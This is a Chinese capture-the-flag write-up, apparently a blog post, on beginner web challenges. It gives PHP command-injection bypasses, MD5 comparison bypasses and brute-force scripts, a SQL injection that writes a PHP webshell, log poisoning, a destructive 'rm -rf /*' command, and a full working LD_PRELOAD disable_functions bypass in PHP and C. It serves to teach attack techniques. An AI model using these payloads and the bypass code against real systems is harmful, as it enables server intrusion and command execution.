萌新计划emmm….感觉前面算萌新后面就不萌了呢。
web1-7
这几个题全部都是要想办法构造id=1000出来。乍一看以为考察sql注入,实则是考察mysql中的一些运算符的使用。0b1111101000这个payload可以全部绕过。
总结一下这些题的姿势。构造数字1000(或者说是构造某个数字)可以使用的方法:
0.直接使用这个数字
1.进制转换:例如二进制0b1111101000 十六进制 0x38e
2.字节操作:两次取反~~1000,异或200^800,按位与 992|8
3.运算符,即加减乘除构造1000
web8
这个题有点迷醉,,不知道为啥是传rm -rf /*,(好像是一个梗…?)
web9-15
这些题的考察点是命令执行。不过由于是一个模子里出来的题..钻了个非预期的空子,因为知道包含了config.php,而且flag就在里面,那就直接echo $flag;就直接出答案了…如果出现了过滤分号的情况就直接?>闭合语句,粗暴出答案。
总结一下命令注入的点:
eval($cmd)的形式
1.无过滤:直接任意执行系统命令即可。
2.过滤了系统命令执行函数:php有很多能执行系统命令的函数,常用的有:
1 | exec,system,shell_exec,passthru,popen,proc_open,pcntl_exec,proc_open,反撇号 |
其中,system,passthru这两个函数将结果直接返回浏览器,无需echo或return,exec,shell_exec,反撇号这种形式都需要将结果存入一个数组或单独输出(直接输出只输出结果的最后一行),否则不会显示。
具体例子(常用的):
echo exec(“ls”); // index.php
passthru(“ls”); // test.php config.php index.php
system(“ls /“); // 显示根目录下所有文件
echo `ls`; // test.php config.php index.php
3.过滤了分号,这时候就只能执行一句代码而且必须用?>来闭合。同样考虑上面的这些函数。
4.注意灵活运用linux中显示文件信息的函数,例如cat被过滤了考虑tac,某个文件名被过滤了考虑使用*来显示所有的。
5.可以尝试通过$_GET或$_POST来绕过对某个参数的过滤,例如c=echo `$_GET[1]`;&1=tac flag.php。
6.借助php可以动态执行命令的特性,通过两个变量构造出欲执行的函数名称和参数,例如$a = base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);
7.借助assert函数,assert(assertion)
:assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。且assert中的字符串可以没有分号。
web16
这波反向跑路又秀到我了…答案是传入36d,爆破或者知道梗的就可以做出来emmm
这里简单总结一下md5相关的绕过:
1.md5弱相等:if(md5($a)==md5(b) && $a!==$b)
通过寻找0e开头的md5绕过,0e开头的会被识别做科学计数法,结果都是0.
1 | QNKCDZO |
2.md5强相等if($a!==$b && md5($a)===nd5($b))
1)数组绕过:md5()和sha1()函数的共同特点是他们不能处理数组,他们处理数组全部返回null
2)md5碰撞:这里给出一组值不相等但md5后完全相同的一组数据:
1 | $a="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2"; |
ps1.附上md5爆破脚本:
(1)数字型
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40 # -*- coding: utf-8 -*-
'''
使用实例:python md5crack_number.py "abc" 5 代表爆破开头为"abc"的MD5,数字型,爆破5个,若不指定第二个参数,则默认为1个
'''
from multiprocessing.dummy import Pool as tp
import hashlib
import sys
try:
knownMd5 = sys.argv[1]
except:
print "Wrong command line parameter"
sys.exit()
def md5(text):
return hashlib.md5(str(text).encode('utf-8')).hexdigest()
def findCode(code):
key = code.split(':')
start = int(key[0])
end = int(key[1])
for code in range(start, end):
if md5(code)[0:len(knownMd5)] == knownMd5:
print code
print "\n"
break
list=[]
num=1
try:
num = sys.argv[2]
except:
print "keep num=1 as default"
for i in range(int(num)):
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp()
pool.map(findCode, list)
pool.close()
pool.join()(2)字符型
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40 # -*- coding: utf-8 -*-
'''
使用实例:python md5crack_string.py "abc" 5 代表爆破开头为"abc"的MD5,字符型,长度默认为4(改进脚本可以指定爆破结果长度),数量为5个,若不指定第二个参数,则默认为1个
'''
import hashlib
import sys
addStr = 'as'
try:
knownMd5 = sys.argv[1]
except:
print "Wrong command line parameter"
sys.exit()
dict = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
def md5(text):
return hashlib.md5(str(text).encode('utf-8')).hexdigest()
num=1
try:
num=int(sys.argv[2])
except:
print "keep num=1 as default"
res=0
for i in dict:
for j in dict:
for k in dict:
for l in dict:
if res < num:
x = i + k + j + l
b = x + addStr
codeMd5 = md5(b)
if codeMd5[:len(knownMd5)] == knownMd5:
print(x)
res = res + 1
else:
sys.exit()(3) 多重MD5截断
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46 # -*- coding: utf-8 -*-
'''
使用方法:python md5Crack.py "你要碰撞的字符串" 字符串的起始位置
使用实例:python md5Crack.py "0e" 0 将产生MD5值为0e开头[即第0个字符开始数两位为0e]的字符串
'''
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len,start=0, size=4):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md51 = hashlib.md5(rnds)
value1 = md51.hexdigest()
if value1[start: start+str_len] == substr:
#碰撞双md5
md52 = hashlib.md5(value1)
if md52.hexdigest()[start: start+str_len] == substr:
print rnds+ "=>" + value1+"=>"+ md52.hexdigest() + "\n"
#stop_event.set()
if __name__ == '__main__':
try:
substr = sys.argv[1].strip()
except:
print "Wrong command line parameter"
sys.exit()
start_pos = 0
try:
start_pos = int(sys.argv[2])
except:
print "keep start_pos=0 as default"
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()
web17-22
向nginx访问日志中注入php代码,蚁剑连接webshell
web23-24
条件竞争访问上传的php。
获得百分之百的快乐
登录处sql注入,向目录中写入webshell进行连接。
1 | admin' union select '<?php eval($_POST[1]) ?>' into outfile '/var/www/html/shell.php' |
连接后发现flag.php提示flag在环境变量里,这里有两种方式输出结果。
第一种相对简单,直接新建一个php文件,内容:
1 |
|
随后浏览器访问即可获得flag。
第二种比较复杂,借助LD_PRELOAD环境变量劫持突破disable_functions。
简单说一下原理,LD_PRELOAD
是linux中的一个环境变量,如果使用LD_PRELOAD
环境变量指定了一个共享库或共享对象,那么这个共享对象会在其他对象加载前被加载。例如LD_PRELOAD=/tmp/a.so /bin/ls
,即在执行ls
命令前,会先加载指定路径的a.so文件,如果这是一个恶意共享对象,那么可以执行任意操作。
我们可以通过LD_PRELOAD突破disable_functions,流程如下:
1.编写恶意 C 函数,并编译成共享对象;
2.在php
执行过程中找到一个函数,这个函数能够产生一个新的进程;
3.通过putenv
设置LD_PRELOAD
环境变量,使得新产生的进程优先加载恶意共享对象。
首先由于被劫持的系统函数得由我们重新实现一次,函数原型必须一致,为减少复杂性,我们需要找到一个无参数且常用的系统函数,方便我们进行劫持操作。经过对几个常用命令的寻找 readelf -Ws /usr/bin/id
,我们发现了getuid()函数符合要求。man getuid
查看一下函数定义,随后重写该函数。
1 | // getuid_evil.c |
随后编译成共享对象,gcc -shared -fPIC getuid_evil.c -o getuid_evil.so
。
最后,借助环境变量 LD_PRELOAD 劫持系统函数 getuid(),获取控制权。执行 LD_PRELOAD=/home/getuid_evil.so /usr/bin/id,注入代码成功执行。
下面我们需要找寻内部启动新进程的 PHP 函数。虽然 LD_PRELOAD 提供了劫持系统函数的能力,但前提是得控制 php 启动外部程序才行。常见的 system() 启动程序方式显然不行,否则就不存在突破 disable_functions 一事了。PHP 脚本中除了调用 system()、exec()、shell_exec() 等等一堆 php 函数外,还有可能是php本身函数存在启动新进程。比如,php 函数 a() 实现“前进”的功能,php 函数 a() 又由组成 php 解释器的 C 语言模块之一的 b.c 实现,C 模块 b.c 内部又通过调用外部程序 c.bin 实现,那么,我的 php 脚本中调用了函数 a(),势必启动外部程序 c.bin。现在,我需要找到类似 a() 的真实存在的 PHP 函数。
考虑哪样的函数可能会产生新进程。我们知道,进程不能直接调用硬件资源,比如读取磁盘文件、接收网络数据等,但可以将用户态模式(目态)切换到内核模式(管态),通过系统调用来访问硬件设备。这时通过strace命令就可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间、调用次数,成功和失败的次数。这样我们可以做出一个初步判断,处理图片、请求网页、发送邮件等等场景中存在着我们需要的函数。分别尝试curl_init(),Imagick::newImage(),mail()这些函数,最终发现mail()函数存在启动新进程的情况。
有一篇文章专门讲解了如何寻找满足产生新进程的函数。在这里
1 | // mail.php |
随后执行命令strace -f php mail.php 2>&1 | grep -E "execve|fork|vfork"
,查看php mail.php
的程序执行过程中产生的所有系统调用。
execve的主要作用为:
1.分配进程新的地址空间,将环境变量、main参数等拷贝到新地址空间的推栈中;
2.解析可执行文件,将代码、数据装入/映射到内存
3.进程新环境的设置,如关闭设置FD_CLOEXEC的文件等
4.设置execve函数返回到用户态时的执行地址;解析器入口地址或程序的入口地址
通过输出结果我们发现mail函数的确启动了新进程。调用了/usr/sbin/sendmail。readelf -Ws /usr/sbin/sendmail
查看发现sendmail也确实调用了getuid函数。故执行mail函数可以成功执行我们的恶意代码。
但其实这个方法是将条件变得严苛了,我们干的事情局限于找到一个函数,然后对其进行注入。且真实情况下,某些环境中,web 禁止启用 sendmail、甚至系统上根本未安装 sendmail(比如我本地测试的时候才发现其实自己的wsl2中就没有安装sendmail,专门装了一下才进行操作的),也就谈不上劫持 getuid(),通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件;二是,即便目标可以启用 sendmail,由于未将主机名(hostname 输出)添加进 hosts 中,导致每次运行 sendmail 都要耗时半分钟等待域名解析超时返回,www-data 也无法将主机名加入 hosts(如,127.0.0.1 lamp、lamp.、lamp.com)。基于这两个原因,我不得不放弃劫持函数 getuid(),必须找个更普适的方法。
回到 LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那就完全可以不依赖 sendmail 了。
通过查找了解到,GCC 有个 C 语言扩展修饰符__attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数。即,我们不局限于仅劫持某一函数,而应考虑劫持共享对象。
修改代码:
1 | // evil.c |
编译,gcc -shared -fPIC evil.c -o evil.so -w
随后php mail.php, 发现成功输出pwned!
。
最终php文件代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17 >// bypass_disable_functions.php
>
$cmd=$_GET['cmd'];
$out_path=$_GET['outpath'];
$evil_cmdline=$cmd . " > " . $outpath ." 2>&1";
echo "<p> cmdline: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path=$_GET['sopath'];
putenv("LD_PRELOAD=" . $so_path);
error_log("啊哈哈哈哈!",1);
echo "<p> output:" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
>c程序代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23 >// evil.c
>
>
>
>
>
>extern char** environ;
>__attribute__ ((__constructor__)) void exec(void){
const char* cmdline = getenv("EVIL_CMDLINE");
int i;
for(i = 0; environ[i]; i++){
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
system(cmdline);
return;
>}将evil.c编译成evil.so上传服务器。
payload:bypass_disable_functions.php?cmd=env&outpath=/var/www/html/res.txt&sopath=/var/www/html/evil.so
第三种借助蚁剑的插件实现bypass。